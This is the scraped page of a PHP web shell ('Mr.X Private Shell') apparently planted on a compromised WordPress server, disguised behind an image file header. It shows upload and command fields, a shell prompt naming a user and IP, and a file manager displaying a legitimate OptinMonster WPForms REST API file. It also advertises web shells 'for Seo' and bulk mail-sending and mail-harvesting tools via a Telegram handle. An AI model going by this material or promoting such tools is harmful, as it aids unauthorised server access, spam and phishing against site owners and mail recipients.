����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.217.13: ~ $
<?php
/**
 * WPForms API routes for usage in WP's RestApi.
 *
 * @since 2.9.0
 *
 * @author  Eduardo Nakatsuka
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Rest Api class.
 *
 * @since 2.9.0
 */
class OMAPI_WPForms_RestApi extends OMAPI_BaseRestApi {

	/**
	 * The OMAPI_WPForms instance.
	 *
	 * @since 2.8.0
	 *
	 * @var OMAPI_WPForms
	 */
	public $wpforms;

	/**
	 * Constructor
	 *
	 * @since 2.13.0
	 *
	 * @param OMAPI_WPForms $wpforms
	 */
	public function __construct( OMAPI_WPForms $wpforms ) {
		$this->wpforms = $wpforms;
		parent::__construct();
	}

	/**
	 * Registers the Rest API routes for WPForms
	 *
	 * @since 2.9.0
	 *
	 * @return void
	 */
	public function register_rest_routes() {
		register_rest_route(
			$this->namespace,
			'wpforms/forms',
			array(
				'methods'             => WP_REST_Server::READABLE,
				'permission_callback' => array( $this, 'logged_in_or_has_api_key' ),
				'callback'            => array( $this, 'forms' ),
			)
		);
	}

	/**
	 * Handles getting WPForms forms.
	 *
	 * Route: GET omapp/v1/woocommerce/forms
	 *
	 * @since 2.9.0
	 *
	 * @param WP_REST_Request $request The REST Request.
	 *
	 * @return WP_REST_Response The API Response
	 * @throws Exception If plugin action fails.
	 */
	public function forms() {
		try {
			return new WP_REST_Response(
				$this->wpforms->get_forms_array(),
				200
			);
		} catch ( Exception $e ) {
			return $this->exception_to_response( $e );
		}
	}
}

Filemanager

Name Type Size Permission Actions
RestApi.php File 1.45 KB 0644
Save.php File 2.14 KB 0644